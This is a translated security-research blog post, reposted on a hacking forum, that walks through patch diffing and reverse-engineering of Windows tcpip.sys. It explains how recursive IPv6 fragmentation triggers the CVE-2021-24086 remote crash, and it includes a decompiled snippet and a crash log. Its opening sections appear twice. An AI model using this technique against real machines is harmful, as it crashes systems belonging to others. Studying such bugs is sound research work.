С самого начала моего пути в области компьютерной безопасности меня всегда поражали и очаровывали удаленные уязвимости. Под настоящими я подразумеваю баги, которые запускаются удаленно без какого-либо взаимодействия с пользователем. Ни единого щелчка. В результате я всегда ищу такие уязвимости.
Во вторник, 13 октября 2020 года, Microsoft выпустила патч для CVE-2020-16898, которая представляет собой уязвимость, затрагивающую драйвер режима ядра tcpip.sys Windows, получивший название Bad Neighbor.
Вот описание от Microsoft:
Уязвимость удаленного выполнения кода существует, когда стек Windows TCP/IP неправильно обрабатывает пакеты объявлений маршрутизатора ICMPv6. Злоумышленник, успешно воспользовавшийся этой уязвимостью, может получить возможность выполнять код на целевом сервере или клиенте. Чтобы воспользоваться этой уязвимостью, злоумышленник должен будет отправить специально созданные пакеты ICMPv6 Router Advertisement на удаленный компьютер с Windows. Обновление устраняет уязвимость, исправляя способ обработки стеком Windows TCP/IP пакетов ICMPv6 Router Advertisement.
Уязвимость действительно выделялась для меня: удаленные уязвимости, влияющие на стеки TCP/IP, казались исчезнувшими, и возможность удаленного запуска повреждения памяти в ядре Windows очень интересна для злоумышленника. Очаровательно.
Я уже много лет не сравнивал патчи Microsoft, я подумал, что это будет забавное упражнение. Я знал, что буду работать не только над этим, поскольку они привлекают много внимания интернет-хакеров. Действительно, мой друг pi3 так быстро разобрал патч, написал PoC и написал пост в блоге, что у меня даже не было времени начать, ну и ладно
Вот почему, когда Microsoft писала в блоге о другом наборе уязвимостей, исправляемых в tcpip.sys, я подумал, что на этот раз смогу поработать над ними. Опять же, я точно знал, что не буду единственным гонщиком, который напишет первый публичный PoC для CVE-2021-24086, но каким-то образом Интернет молчал достаточно долго, чтобы я смог выполнить эту задачу, что очень удивительно
В этом посте я расскажу вам о своем путешествии from zero to BsoD. От различения патчей, реверс-инжиниринга tcpip.sys и борьбы до написания PoC для CVE-2021-24086. Если вы пришли сюда за кодом, честно говоря, он доступен на моем github: 0vercl0k/CVE-2021-24086.
TL;DR
Для читателей, которые хотят получить быстро информацию, CVE-2021-24086 - это разыменование NULL в tcpip!Ipv6pReassembleDatagram, которое может быть запущено удаленно путем отправки серии специально созданных пакетов. Проблема возникает из-за того, как код обрабатывает сетевой буфер:
Новый NetBufferList (сокращенно NBL) выделяется NetioAllocateAndReferenceNetBufferAndNetBufferList, а NetioRetreatNetBuffer выделяет список дескрипторов памяти (сокращенно MDL) байтов uint16_t (HeaderAndOptionsLength). Это целочисленное усечение от uint32_t важно.
После выделения сетевого буфера вызывается NdisGetDataBuffer для получения доступа к непрерывному блоку данных из нового сетевого буфера. Однако на этот раз HeaderAndOptionsLength не усекается, что позволяет злоумышленнику вызвать специальное условие в NdisGetDataBuffer. Это условие выполняется, когда uint16_t (HeaderAndOptionsLength)! = HeaderAndOptionsLength. Когда функция не работает, она возвращает NULL, и Ipv6pReassembleDatagram слепо доверяет этому указателю и выполняет запись в память, вызывая багчекинг на машине. Для этого вам нужно обманом заставить сетевой стек получить фрагмент IPv6 с очень большим количеством заголовков. Вот как выглядят ошибки:
Для тех, кто готов к долгой поездке, давайте перейдем к делу
Разведка
Несмотря на то, что Франсиско Фалькон уже написал классный пост в блоге, в котором обсуждалась его работа по этому делу, я решил также написать свой; Я постараюсь осветить аспекты, которые меньше или вообще не освещены в его сообщении, например, внутреннее устройство tcpip.sys.
Хорошо, давайте начнем с начала: на данный момент я ничего не знаю о tcpip.sys и ничего не знаю о исправлениях ошибок. Сообщение в блоге Microsoft полезно, потому что дает нам несколько подсказок:
- Существует три различных уязвимости, которые, по-видимому, связаны с фрагментацией IPv4 и IPv6,
- Два из них оценены как удаленное выполнение кода, что означает, что они каким-то образом вызывают повреждение памяти,
- Один из них вызывает DoS, что означает, что он каким-то образом вызывает багчекинг.
Из этого твита мы также узнаем, что эти недостатки были обнаружены Microsoft @piazzt, и это здорово.
Поиск в Google также открывает кучу более полезной информации из-за того, что может показаться, что Microsoft в частном порядке делилась со своими партнерами PoC через программу MAPP.
На этом этапе я решил сосредоточиться на уязвимости DoS (CVE-2021-2486) в качестве первого шага. Я подумал, что её может быть проще запустить и что я смогу использовать полученные знания для её запуска, чтобы лучше понять tcpip.sys и, возможно, поработать над другими уязвимостями, если позволит время и мотивация.
Следующим логическим шагом является сравнение патчей для определения исправлений.
Сравнение патчей Microsoft в 2021 году
Честно говоря, я не могу вспомнить, когда в последний раз сравнивал патчи Microsoft. Вероятно, во время Windows XP/Windows 7, если честно. С тех пор многое изменилось. Обновления безопасности теперь являются накопительными, что означает, что в пакеты встроены все известные на сегодняшний день исправления. Вы можете получать пакеты прямо из каталога Центра обновления Майкрософт, что очень удобно. И последнее, но не менее важное: обновления Windows теперь используют прямой/обратный дифференциал; вы можете прочитать это https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper, чтобы узнать больше о том, что это значит.
Извлечение и сравнение (https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html) исправлений Windows в 2020 году - отличный пост в блоге, в котором рассказывается о том, как распаковать исправления из пакета обновлений и как применять различия. Результатом этой работы является двоичный файл tcpip.sys до и после обновления. Если вам не хочется делать это самостоятельно, я загрузил два двоичных файла (а также их соответствующие общедоступные PDB), которые вы можете использовать для самостоятельного сравнения: 0vercl0k/CVE-2021-24086/binaries. Кроме того, после публикации этого поста я узнал об удивительном веб-сайте winbindex, который индексирует двоичные файлы Windows и позволяет загружать их одним щелчком мыши. Вот индекс, доступный для tcpip.sys в качестве примера.
Когда у нас есть двоичные файлы до и после сравнения, небольшой танец с IDA и старым добрым BinDiff дает следующий результат:
Здесь не так много изменений, на которые стоит обратить внимание, и это приятно, и кажется правильным сосредоточиться на Ipv6pReassembleDatagram. Microsoft упоминалось отключение повторной сборки пакетов (netsh int ipv6 set global reassemblylimit = 0), и эта функция, похоже, повторно собирает датаграммы;
Посмотрев на него некоторое время, пропатченный двоичный файл представил этот новый интересный на вид базовый блок:
Он заканчивается тем, что выглядит как сравнение с целым числом 0xffff и условным переходом, который либо завершается, либо продолжается. Это выглядит очень интересно, потому что в некоторых статьях упоминалось, что ошибка может быть вызвана пакетом, содержащим большое количество заголовков. Не то чтобы вы должны доверять подобным новостным статьям, поскольку они обычно не являются технически точными и сенсационными, но в этом может быть доля правды. В этот момент я почувствовал себя довольно хорошо и решил прекратить сравнения и начать реверс-инжиниринг. Я предположил, что проблема будет в каком-то целочисленном переполнении/усечении, которое можно легко запустить на основе имени функции. Нам просто нужно отправить большой пакет, верно?
Реверс-инжиниринг tcpip.sys
Вот где начинается настоящее путешествие и обычные эмоциональные американские горки при изучении уязвимых мест. Сначала я думал, что закончу с этим за несколько дней или неделю. Но я ошибался.
Крошечные шажки
Первым делом я подготовил лабораторную среду. Я установил Windows 10 (target) и виртуальную машину Linux (attacker), настроил KDNet и отладку ядра для отладки, установил Wireshark/Scapy (v2.4.4), создал виртуальный коммутатор, которым совместно пользуются две виртуальные машины. А также... наконец загрузил tcpip.sys в IDA. Модуль на первый взгляд выглядел довольно большим и сложным - в этом нет ничего удивительного; в конце концов, он реализует сетевой стек Windows IPv4 и IPv6. Я начал приключение, сосредоточившись сначала на Ipv6pReassembleDatagram. Вот фрагмент ассемблерного кода, который мы видели ранее в BinDiff и который выглядел интересно:
Отлично, это начало. Прежде чем углубиться в кроличью нору реверс-инижниринга, я решил попробовать задействовать функцию и отладить ее с помощью WinDbg. Поскольку название функции предполагает реассемблирование, я написал следующий код и применил его к своей цели:
Это успешно запускает точку останова в WinDbg и очень аккуратно:
Мы даже можем наблюдать фрагментированные пакеты в Wireshark, что тоже довольно круто:
Для тех, кто не знаком с фрагментацией пакетов, это механизм, используемый для разделения больших пакетов (больше, чем максимальная единица передачи) на более мелкие порции, чтобы их можно было отправлять через сетевое оборудование. Принимающий сетевой стек должен безопасно сшить их вместе.
Хорошо, отлично. Теперь у нас есть то, что я считаю достаточно хорошей исследовательской средой, и мы можем начать копаться в коде. На этом этапе давайте не будем сосредоточиваться на уязвимости, а вместо этого попытаемся понять, как работает код, тип аргументов, которые он получает, а также восстановиим структуры и семантику важных полей и т. д. Давайте получим красивый вывод нашей декомпиляции через HexRays.
Как вы понимаете, это самая трудоемкая часть. Я использую микс снизу вверх и сверху вниз и делаю множество экспериментов. Я комментирую декомпилированный код как можно лучше, ставлю себе задачу, задавая вопросы, отвечая на них, пробую и повторяю.
Обзор с высокого уровня
Сложные драйверы, такие как tcpip.sys, огромны, несут много состояний и их трудно понимать как с точки зрения выполнения, так и потока данных. В этом случае есть целое число такого типа, которое, кажется, связано с чем-то, что было получено, и мы хотим установить для него значение 0xffff. К сожалению, просто сосредоточиться на Ipv6pReassembleDatagram и Ipv6pReceiveFragment было недостаточно для достижения значительного прогресса. Хотя попробовать стоило, но пора переключиться.
ЗумАут
Ладно, это круто, наш декомпилированный код HexRays становится все красивее и красивее; это приятно. Мы злоупотребили функцией создания новой структуры, чтобы поднять кучу структур. Мы догадывались о семантике некоторых из них, но большинство до сих пор неизвестно. Так что да, давайте будем умнее.
Мы знаем, что tcpip.sys принимает пакеты из сети; мы не знаем точно, как и откуда, но, возможно, нам и не нужно знать так много. Один из первых вопросов, который вы можете задать себе - как ядро хранит сетевые данные? Какие конструкции оно использует?
NET_BUFFER и NET_BUFFER_LIST
Если у вас есть опыт работы с ядром Windows, возможно, вы знакомы с NDIS и, возможно, слышали о некоторых API и структурах, которые он предоставляет пользователям.Это документировано, поскольку сторонние производители могут разрабатывать расширения и драйверы для взаимодействия с сетевым стеком в различных точках.
Важной структурой в этом мире является NET_BUFFER. Вот как это выглядит в WinDbg:
Это может выглядеть ошеломляющим, но нам не нужно разбираться во всех деталях. Важно то, что сетевые данные хранятся в обычных MDL. Как MDL, NET_BUFFER может быть объединен в цепочку, что позволяет ядру хранить большой объем данных в группе несмежных фрагментов физической памяти; виртуальная память - это волшебная палочка, с помощью которой данные выглядят непрерывно. Для читателей, не знакомых с разработкой ядра Windows, MDL - это конструкция ядра Windows, которая позволяет пользователям отображать физическую память в непрерывной области виртуальной памяти. За каждым MDL на самом деле следует список PFN (которые не обязательно должны быть смежными), которые ядро Windows может отображать в непрерывную область виртуальной памяти; Магия.
NET_BUFFER_LIST - это в основном структура для отслеживания списка NET_BUFFER, как следует из названия:
Опять же, не нужно разбираться во всех деталях, достаточно хорошо мыслить концепциями. Вдобавок ко всему, Microsoft упрощает нашу жизнь, предоставляя очень полезное расширение WinDbg под названием ndiskd. Он предоставляет две функции для дампа NET_BUFFER и NET_BUFFER_LIST :!Ndiskd.nb и!Ndiskd.nbl соответственно. Это большая экономия времени, потому что они заботятся об обходе различных уровней косвенности: список NET_BUFFER и цепочки MDL.
Механика разбора пакета IPv6
Теперь, когда мы знаем, где и как хранятся сетевые данные, мы можем спросить себя, как работает синтаксический анализ пакетов IPv6? У меня очень мало знаний о работе в сети, но я знаю, что существуют различные заголовки, которые нужно анализировать по-разному и что они могут быть связаны друг с другом. Слой N сообщает вам, что вы найдете дальше.
То, что я собираюсь описать, - это то, что я выяснил во время реверс инжиниринга, а также то, что я наблюдал во время отладки посредством бесчисленных экспериментов. Полное раскрытие: я не эксперт, так что отнеситесь к этому с недоверием
Интересующей нас функцией верхнего уровня является IppReceiveHeaderBatch. Первое, что она делает, - это вызывает IppReceiveHeadersHelper для каждого пакета в списке:
Packet_t - это недокументированная структура, связанная с полученными пакетами. В этой структуре хранится множество состояний, и выяснение семантики важных полей занимает много времени. Основная роль IppReceiveHeadersHelper - запустить машину синтаксического анализа. Он анализирует заголовок IPv6 (или IPv4) пакета и читает поле next_header. Как я упоминал выше, это поле очень важно, потому что оно указывает, как читать следующий уровень пакета. Это значение хранится в структуре пакета, и множество функций читает и обновляет его во время синтаксического анализа.
Функция делает гораздо больше; она инициализирует несколько полей Packet_t, но пока давайте проигнорируем это, чтобы не перегружать себя сложностью. Как только функция возвращается в IppReceiveHeaderBatch, она извлекает демультиплексор из структуры Protocol_t и вызывает обратный вызов парсера, если NextHeader является допустимым заголовком расширения. Структура Protocol_t содержит массив Demuxer_t (термин, используемый в драйвере).
NextHeader (заполненный ранее в IppReceiveHeaderBatch) - это значение, используемое для индексации в этом массиве.
Если демультиплексор обрабатывает заголовок расширения, то вызывается обратный вызов для правильного анализа заголовка. Это происходит в цикле до тех пор, пока синтаксический анализ не достигнет первой части пакета, не являющейся заголовком, и в этом случае он обрабатывает следующий пакет.
Легко сдампить демультиплексоры и связанных с ними значений NextHeader/Parse; они могут пригодиться позже.
Demuxer может предоставить для синтаксического анализа процедуру обратного вызова, которую я назвал Parse. Метод Parse получает пакет и может бесплатно обновить его состояние; например, чтобы захватить NextHeader, который необходим, чтобы знать, как анализировать следующий слой. Вот как выглядит Ipv6pReceiveFragmentList (Ipv6FragmentDemux.Parse):
Перед тем, как продолжить, он проверяет, является ли следующий заголовок типом IPPROTO_FRAGMENT. Это все механика фрагментации IPv6.
Теперь, когда мы немного лучше понимаем общий поток, самое время подумать о фрагментации. Мы знаем, что нам нужно отправлять фрагментированные пакеты, чтобы попасть в код, который был исправлен обновлением, что, как мы знаем, каким-то образом важно. Функция, которая анализирует фрагменты, называется Ipv6pReceiveFragment, и это непростая функция. Опять же, отслеживание фрагментов, вероятно, и оправдывает это, так что здесь нет ничего неожиданного.
Это также подходящее время для нас, чтобы прочитать литературу о том, как именно работает фрагментация IPv6. Концепции были полезны до сих пор, но сейчас нам нужно разобраться в мельчайших деталях. Я не хочу тратить на это слишком много времени, так как в Интернете есть масса контента, обсуждающего эту тему, поэтому я просто дам вам краткую сводку. Чтобы определить фрагмент, вам нужно добавить заголовок фрагментации, который в Scapy land называется IPv6ExtHdrFragment:
Наиболее важными для нас полями являются:
- смещение, которое сообщает начальное смещение того, где данные, следующие за этим заголовком, должны быть помещены в повторно собранный пакет
- бит m, который указывает, является ли это последним фрагментом.
Обратите внимание, что поле смещения имеет размер блоков по 8 байтов; если вы установите его в 1, это означает, что ваши данные будут иметь размер +8 байт. Если вы установите значение 2, они будут равны +16 байтам и т.д.
Вот небольшая функция фрагментации IPv6 , которую я написал, чтобы убедиться, что я правильно все понимаю. Мне нравится учиться на практике.
Достаточно просто. Другой важный аспект фрагментации в литературе связан с заголовками IPv6 и тем, что называется нефрагментируемой частью пакета. Вот как Microsoft описывает нефрагментируемую часть: "Эта часть состоит из заголовка IPv6, заголовка параметров перехода, заголовка параметров назначения для промежуточных пунктов назначения и заголовка маршрутизации". Это также часть, которая предшествует заголовку фрагментации. Очевидно, что если есть нефрагментируемая часть, есть и фрагментируемая часть. Фрагментируемая часть - это то, что вы отправляете за заголовком фрагментации. Процесс повторного ассемблирования - это процесс сшивания нефрагментируемой части с повторно собранной фрагментированной частью в один красивый повторно собранный пакет. Вот диаграмма, взятая из "Понимания заголовка IPv6", которая довольно хорошо подводит итог:
Вся эта теоретическая информация очень полезна, потому что теперь мы можем искать эти детали во время реверс инижиниринга. Всегда легче читать код и пытаться сопоставить его с тем, что он должен делать.
Теория против практики: Ipv6pReceiveFragment
В этот момент я почувствовал, что накопил достаточно новой информации, и пришло время вернуться к цели.
Мы хотим убедиться, что реальность работает так, как говорится в литературе, и тем самым улучшим наше общее понимание. После некоторого изучения этого кода мы начинаем понимать больше строк. Функция принимает пакет, но поскольку эта структура зависит от пакета, этого недостаточно для отслеживания состояния, необходимого для повторной сборки пакета. Вот почему для этого используется другая важная структура; Я назвал её Reassembly.
Общий поток в основном разбит на три основные части; Опять же, нам не нужно разбираться в каждой детали, давайте просто разберемся концептуально и что/как он пытается достичь своих целей:
*1 - Выясните, является ли полученный фрагмент частью уже существующей структуры Reassembly. Согласно литературе, мы знаем, что сетевые стеки должны использовать адрес источника, адрес назначения, а также идентификатор заголовка фрагментации, чтобы определить, является ли текущий пакет частью группы фрагментов. На практике функция IppReassemblyHashKey хеширует эти поля вместе, и полученный хеш используется для индексации в хеш-таблицу, в которой хранятся структуры Reassembly (Ipv6pFragmentLookup):
* 1.1 - Если фрагмент не принадлежит ни к одной известной группе, его необходимо поместить во вновь созданную Reassembly. Это то, что делает IppCreateInReassemblySet. Стоит отметить, что это представляет интерес для реверс-инженера, поскольку именно здесь выделяется и создается объект Reassembly (в IppCreateReassembly). Это означает, что мы можем получить его размер, а также дополнительную информацию о некоторых полях.
* 2 - Теперь, когда у нас есть структура Reassembly, основная функция хочет выяснить, где текущий фрагмент вписывается в общий повторно собранный пакет. Reassembly отслеживает фрагменты с помощью различных списков. Он использует ContiguousList, который связывает фрагменты, которые будут смежными в повторно собранном пакете. IppReassemblyFindLocation - это функция, которая, кажется, реализует логику, чтобы выяснить, где подходит текущий фрагмент.
* 2.1 - Если IppReassemblyFindLocation возвращает указатель на начало ContiguousList, это означает, что текущий пакет является первым фрагментом. Здесь функция извлекает и отслеживает нефрагментируемую часть пакета. Он хранится в буфере пула, на который есть ссылка в структуре Reassembly.
* 3 - Затем фрагмент добавляется в Reassembly как часть группы фрагментов с помощью IppReassemblyInsertFragment. Кроме того, если мы получили все фрагменты, необходимые для начала повторной сборки, вызывается функция Ipv6pReassembleDatagram. Помните этого парня? Это функция, которая была пропатчена и о которой мы говорили ранее в этом посте. Но на этот раз мы понимаем, как мы туда попали.
На этом этапе мы хорошо понимаем, какие структуры данных используются для отслеживания групп фрагментов и того, как и когда начинается повторная сборка. Мы также прокомментировали и доработали различные поля структуры, про которые мы говорили в начале процесса; это очень полезно, потому что теперь мы можем понять, как исправить уязвимость:
Как это круто верно? Это действительно полезно. Выполнение кучи работы, которая может показаться не такой полезной в начале, но в конечном итоге складывается в полезную работу. Это просто медленный процесс, и к нему нужно привыкнуть; так и делается эта вкусная колбаска.
Не будем забегать вперед, эмоциональные американские горки уже не за горами
Скрываясь на виду
Хорошо - на этом я думаю, что мы закончили с уменьшением масштаба и пониманием общей картины. Мы достаточно хорошо понимаем нашего зверя, чтобы начать возвращаться к нашему BsoD. Прочитав Ipv6pReassembleDatagram несколько раз, я, честно говоря, не мог понять, где может произойти заявленный сбой. Довольно неприятно для мення :/ Вот почему я решил вместо этого использовать отладчик для изменения Reassembly-> DataLength и UnfragmentableLength во время выполнения, чтобы посмотреть, может ли это дать мне какие-либо подсказки. Первый, похоже, ничего не сделал, но второй проверил нашу программу на ошибку с разыменованием NULL, и бинго, которое выглядит как раз тем что нужно!
После тщательного анализа крэша я начал понимать, что потенциальная проблема скрывается на виду у меня на глазах; вот этот код:
NetioAllocateAndReferenceNetBufferAndNetBufferList выделяет новый NBL под названием NetBufferList. Затем вызывается NetioRetreatNetBuffer:
Поскольку FirstNetBuffer только что был выделен, он пуст и большинство его полей равны нулю. Это означает, что NetioRetreatNetBuffer запускает вызов NdisRetreatNetBufferDataStart, который публично задокументирован. Согласно документации, он должен выделить MDL с помощью NetioAllocateMdl, поскольку сетевой буфер пуст, как мы упоминали выше. Следует отметить, что количество байтов HeaderAndOptionsLength, передаваемое в NetioRetreatNetBuffer, усекается до uint16_t.
Теперь, когда в NB есть резервное пространство для заголовка IPv6, а также нефрагментируемой части пакета, ему необходимо получить указатель на резервные данные, чтобы заполнить буфер. NdisGetDataBuffer задокументирован для получения доступа к непрерывному блоку данных из структуры NET_BUFFER. Прочитав документацию несколько раз, меня это немного сбило с толку, поэтому я решил, что брошу NDIS в IDA и посмотрю на эту реализацию:
При взгляде на начало реализации что-то бросается в глаза. Поскольку NdisGetDataBuffer вызывается с HeaderAndOptionsLength (не усеченным), мы должны иметь возможность выполнить следующее условие NetBuffer->DataLength < BytesNeeded, когда HeaderAndOptionsLength больше 0xffff. Почему так спросишь ты? Возьмем этот пример. HeaderAndOptionsLength - 0x1337, поэтому NetioRetreatNetBuffer выделяет резервный буфер размером 0x1337 байт, а NdisGetDataBuffer возвращает указатель на вновь выделенные данные; работает как положено. Теперь представим, что HeaderAndOptionsLength равен 0x31337. Это означает, что NetioRetreatNetBuffer выделяет 0x1337 (из-за усечения) байтов, но вызывает NdisGetDataBuffer с 0x31337, что приводит к сбою вызова, потому что сетевой буфер недостаточно велик, и мы достигли этого условия NetBuffer-> DataLength < BytesNeeded.
Поскольку считается, что возвращенный указатель не равен NULL, Ipv6pReassembleDatagram продолжает использовать его для записи в память:
Здесь следует сработать багчек. Как обычно, мы можем проверить наше понимание функции с помощью сеанса WinDbg. Вот простой скрипт Python, который отправляет два фрагмента:
Посмотрим, как будет выглядеть повторная сборка после получения этих пакетов:
Ладно, похоже, у нас есть план - приступим к работе.
Изготовление пакета смерти: погоня за фантомами
Хорошо... отправка пакета с большим заголовком должна быть тривиальной, не так ли? Это то, о чем я думал изначально. Попробовав разные вещи для достижения этой цели, я быстро понял, что это будет не так просто. Главный вопрос - это MTU. По сути, сетевые устройства не позволяют отправлять пакеты размером более ~ 1200 байт. Интернет-контент предполагает, что некоторые карты Ethernet и сетевые коммутаторы позволяют увеличить этот предел. Поскольку я проводил свой тест в своей собственной лаборатории Hyper-V, я решил, что было бы справедливо попытаться воспроизвести разыменование NULL с параметрами, не являющимися параметрами по умолчанию, поэтому я искал способ увеличить MTU на виртуальном коммутаторе до 64 КБ.
Проблема в том, что Hyper-V не позволял мне этого делать. Единственный параметр, который я нашел, позволил мне увеличить лимит примерно до 9 КБ, что очень далеко от 64 КБ, необходимых мне для запуска этой проблемы. В этот момент я почувствовал разочарование, потому что я чувствовал, что я так близок к концу. Несмотря на то, что я читал, что эта уязвимость может быть распространена через Интернет, я продолжал двигаться в этом неправильном направлении. Если пакет можно было поулчить из Интернета, это означало, что он должен был пройти через обычное сетевое оборудование, и пакет размером 64 КБ не мог работать. Но какое-то время я игнорировал эту суровую правду.
В конце концов, я смирился с тем, что, вероятно, иду не в том направлении. Поэтому я пересмотрел свои возможности. Я полагал, что проверка ошибок, которую я запустил выше, не была той, которую я мог бы запустить с пакетами, полученными из Интернета. Возможно, хотя может быть другой путь кода с очень похожим шаблоном (отступление + NdisGetDataBuffer), который приведет к багчеку. Я заметил, что поле TotalLength также немного усекается в функции и записывается в заголовок IPv6 пакета. Этот заголовок в конечном итоге копируется в окончательный пересобранный заголовок IPv6:
Моя теория заключалась в том, что может быть есть какой-то код, который будет читать этот Ipv6.length (который усечен, поскольку __ROR2__ ожидает uint16_t), и в результате может произойти что-то плохое. Хотя длина в конечном итоге будет иметь меньшее значение, чем фактический реальный размер пакета; Мне было трудно придумать сценарий, при котором это могло бы вызвать проблемы, но я все еще преследовал эту теорию, поскольку это было единственное, что у меня было.
На этом этапе я начал проверять каждый демультиплексор, который мы видели ранее. Я искал те, которые как-то использовали бы это поле длины, и искал похожие шаблоны NdisGetDataBuffer. Ничего такого я не нашел. Думая, что мне может чего-то не хватать при статическом анализе, я также активно использовал WinDbg для проверки своей работы. Я использовал аппаратные точки останова для отслеживания доступа к этим двум байтам, но без попадания. Всегда. Раздражает.
После нескольких попыток я начал думать, что, возможно, снова двинулся в неправильном направлении. Возможно, мне действительно нужно найти способ отправить такой большой пакет, не нарушая MTU. Но как?
Изготовление пакета смерти: прыжок веры
Хорошо, поэтому я решил начать все заново. Возвращаясь к общей картине, я немного изучил алгоритм повторной сборки, снова изменил его на тот случай, если я где-то пропустил ключ, но ничего не произошло...
Смогу ли я фрагментировать пакет с очень большим заголовком и обманом заставить стек повторно собрать собранный пакет? Ранее мы видели, что можем использовать повторную сборку как примитив для сшивания фрагментов вместе; поэтому вместо того, чтобы пытаться отправить очень большой фрагмент, возможно, мы могли бы разбить большой на более мелкие и сшить их вместе в памяти. Честно говоря, это было похоже на большой прыжок вперед, но, основываясь на моих усилиях по реверс инижинирингу, я действительно не увидел ничего, что могло бы этому помешать. Идея была расплывчатой, но казалось, что стоит попробовать. Но как это на самом деле будет работать?
Присев на минутку, я придумал эту теорию. Я создал очень большой фрагмент с множеством заголовков; достаточно, чтобы вызвать ошибку, если я могу запустить еще одну сборку. Затем я фрагментировал этот фрагмент, чтобы его можно было отправить к цели, не нарушая MTU.
Произойдет повторная сборка, и tcpip.sys построит этот огромный повторно собранный фрагмент в памяти; это здорово, потому что я не думал, что это сработает. Вот как это выглядит в WinDbg:
То, что мы видим выше, - это пересобранный первый фрагмент.
Это фрагмент длиной 10020 байт, и вы можете видеть, что расширение ndiskd проходит по длинной цепочке MDL, описывающей содержимое этого фрагмента. Последний MDL - это заголовок UDP-части фрагмента. Осталось запустить еще одну пересборку. Что, если мы отправим другой фрагмент, который является частью той же группы; это вызовет еще одну пересборку?
Что ж, давайте посмотрим, работает ли следующее:
Вот что мы видим в WinDbg:
Невероятно! Нам удалось реализовать обсуждаемую идею рекурсивной фрагментации.
Вау, я действительно не думал, что это действительно сработает. Мораль такова: не оставляйте без внимания ни один камешек, следуйте своей интуиции и достигните состояния отсутствия неизвестного.
Вывод
В этом посте я попытался провести вас с собой через свое путешествие по написанию PoC для CVE-2021-24086, настоящей удаленной уязвимости DoS, затрагивающей драйвер tcpip.sys Windows. С нуля до удаленного BSoD. PoC доступен на моем гитхабе здесь: 0vercl0k/CVE-2021-24086.
Я уверен, что я потерял около 99% своих читателей, так как это довольно длинный и непростой пост, но если вы дошли до него, вы должны присоединиться и зависнуть в недавно созданном дневнике реверс-инженера в дискорде : https://discord.gg/4JBWKDNyYs. Мы пытаемся создать сообщество людей, увлекающихся реверс-инженерингом.
Надеюсь, мы также сможем привлечь больше интереса к внешним донатам
И последнее, но не менее важное: особые приветы морим друзьям: @ yrp604, @__ x86 и @jonathansalwan за вычитку этой статьи.
Бонус: CVE-2021-24074
Вот Poc, который я построил на основе высококачественного поста в блоге Армиса:
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/
Во вторник, 13 октября 2020 года, Microsoft выпустила патч для CVE-2020-16898, которая представляет собой уязвимость, затрагивающую драйвер режима ядра tcpip.sys Windows, получивший название Bad Neighbor.
Вот описание от Microsoft:
Уязвимость удаленного выполнения кода существует, когда стек Windows TCP/IP неправильно обрабатывает пакеты объявлений маршрутизатора ICMPv6. Злоумышленник, успешно воспользовавшийся этой уязвимостью, может получить возможность выполнять код на целевом сервере или клиенте. Чтобы воспользоваться этой уязвимостью, злоумышленник должен будет отправить специально созданные пакеты ICMPv6 Router Advertisement на удаленный компьютер с Windows. Обновление устраняет уязвимость, исправляя способ обработки стеком Windows TCP/IP пакетов ICMPv6 Router Advertisement.
Уязвимость действительно выделялась для меня: удаленные уязвимости, влияющие на стеки TCP/IP, казались исчезнувшими, и возможность удаленного запуска повреждения памяти в ядре Windows очень интересна для злоумышленника. Очаровательно.
Я уже много лет не сравнивал патчи Microsoft, я подумал, что это будет забавное упражнение. Я знал, что буду работать не только над этим, поскольку они привлекают много внимания интернет-хакеров. Действительно, мой друг pi3 так быстро разобрал патч, написал PoC и написал пост в блоге, что у меня даже не было времени начать, ну и ладно
Вот почему, когда Microsoft писала в блоге о другом наборе уязвимостей, исправляемых в tcpip.sys, я подумал, что на этот раз смогу поработать над ними. Опять же, я точно знал, что не буду единственным гонщиком, который напишет первый публичный PoC для CVE-2021-24086, но каким-то образом Интернет молчал достаточно долго, чтобы я смог выполнить эту задачу, что очень удивительно
В этом посте я расскажу вам о своем путешествии from zero to BsoD. От различения патчей, реверс-инжиниринга tcpip.sys и борьбы до написания PoC для CVE-2021-24086. Если вы пришли сюда за кодом, честно говоря, он доступен на моем github: 0vercl0k/CVE-2021-24086.
TL;DR
Для читателей, которые хотят получить быстро информацию, CVE-2021-24086 - это разыменование NULL в tcpip!Ipv6pReassembleDatagram, которое может быть запущено удаленно путем отправки серии специально созданных пакетов. Проблема возникает из-за того, как код обрабатывает сетевой буфер:
C:
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
// ...
const uint32_t UnfragmentableLength = Reassembly->UnfragmentableLength;
const uint32_t TotalLength = UnfragmentableLength + Reassembly->DataLength;
const uint32_t HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// …
NetBufferList = (_NET_BUFFER_LIST *)NetioAllocateAndReferenceNetBufferAndNetBufferList(
IppReassemblyNetBufferListsComplete,
Reassembly,
0,
0,
0,
0);
if ( !NetBufferList )
{
// ...
goto Bail_0;
}
FirstNetBuffer = NetBufferList->FirstNetBuffer;
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
{
// ...
goto Bail_1;
}
Buffer = (ipv6_header_t *)NdisGetDataBuffer(FirstNetBuffer, HeaderAndOptionsLength, 0i64, 1u, 0);
//...
*Buffer = Reassembly->Ipv6;
Новый NetBufferList (сокращенно NBL) выделяется NetioAllocateAndReferenceNetBufferAndNetBufferList, а NetioRetreatNetBuffer выделяет список дескрипторов памяти (сокращенно MDL) байтов uint16_t (HeaderAndOptionsLength). Это целочисленное усечение от uint32_t важно.
После выделения сетевого буфера вызывается NdisGetDataBuffer для получения доступа к непрерывному блоку данных из нового сетевого буфера. Однако на этот раз HeaderAndOptionsLength не усекается, что позволяет злоумышленнику вызвать специальное условие в NdisGetDataBuffer. Это условие выполняется, когда uint16_t (HeaderAndOptionsLength)! = HeaderAndOptionsLength. Когда функция не работает, она возвращает NULL, и Ipv6pReassembleDatagram слепо доверяет этому указателю и выполняет запись в память, вызывая багчекинг на машине. Для этого вам нужно обманом заставить сетевой стек получить фрагмент IPv6 с очень большим количеством заголовков. Вот как выглядят ошибки:
C:
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000d1
(0x0000000000000000,0x0000000000000002,0x0000000000000001,0xFFFFF8054A5CDEBB)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff805`473c46a0 cc int 3
kd> kc
# Call Site
